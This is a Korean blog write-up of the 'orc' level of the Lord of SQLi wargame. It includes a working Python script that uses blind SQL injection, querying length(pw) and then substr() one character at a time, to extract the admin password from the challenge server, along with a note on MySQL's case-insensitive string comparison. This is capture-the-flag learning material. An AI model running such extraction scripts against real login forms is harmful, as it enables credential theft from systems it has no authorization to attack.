LOS-orc

2020. 5. 3. 07:02Web

screenshot

비밀번호를 알아내야하는 문제이다.

로그인은 쉽겠지만 비밀번호를 알아내려면 mysql의 substr을 이용하여 만들어야 할 것 같다.

사실 비밀번호를 알아내려는 문제라는 것 부터 blind sql injection의 스멜이 난다.

 

비밀번호의 길이를 구하고 substr()을 이용하여 비밀번호를 구하는 파이썬코드를 짜 보았다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# los orc ( blind sql injection )
import requests
 
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
pw_length = 1
cookies = {'PHPSESSID''m6b39hnvak1kmbu6gasuha4o8p'# 쿠키는 변칙적임..
res = requests.get(url=url,cookies=cookies)
password = ""
while True:
   
    #aaa' or length(1) and 1='1
    params = {
        'pw''aaa\' or length(pw)='+str(pw_length)+' and 1=\'1' 
    }
    res = requests.get(url=url,cookies=cookies,params=params)
    # select id from prob_orc where id='admin' and pw='aaa' or length(pw)=1 and 1='1'
    # Hello admin 이 출력되면 query가 참 인 상황이다.
    print('the length of pw is %d ??' %pw_length)
    if("Hello admin" in res.text):
        print("the length of pw = %d" %pw_length)
        for i in range(1,pw_length+1):
            print()
            for j in range(33,127): 
                query = 'aaa\' or substr(pw,'+str(i)+',1)=\''+chr(j)
                params = {
                    'pw': query
                }
                res2 = requests.get(url=url,params=params,cookies=cookies)
                if("Hello admin" in res2.text):
                    password += chr(j)
                    print("the password is %s" %password)
                    break
                else :
                    print(query)
        break
    else :
        pw_length+=1
cs

그리하여

screenshot2

이렇게 비밀번호가 나왔고

이걸 넣어주면

 

screenshot3

왜 clear가 뜨지 않는 것일까.

mysql에서는 문자열을 비교했을때 검색이 돼고, php에서는 안돼는 이유가 있을텐데..

그 이유는 바로 대소문자 구별에 대해서였는데 mysql에서는

https://zetawiki.com/wiki/MySQL_%EB%8C%80%EC%86%8C%EB%AC%B8%EC%9E%90_%EA%B5%AC%EB%B3%84

위 글처럼 대문자로 검색해도 소문자를 골라낸다는 것이다.

따라서 아까구한 비밀번호에 대소문자구별없이 딸려온것을 바꾸면 될건데 다행이 알파벳은 A밖에 없으니 a로 바꾸면

screenshot4

 

'Web' 카테고리의 다른 글

LOS - darkelf  (1) 2020.05.05
LOS - wolfman  (1) 2020.05.05
LOS-goblin  (0) 2020.05.02
LOS - cobolt  (1) 2020.05.02
LOS - gremlin  (1) 2020.05.02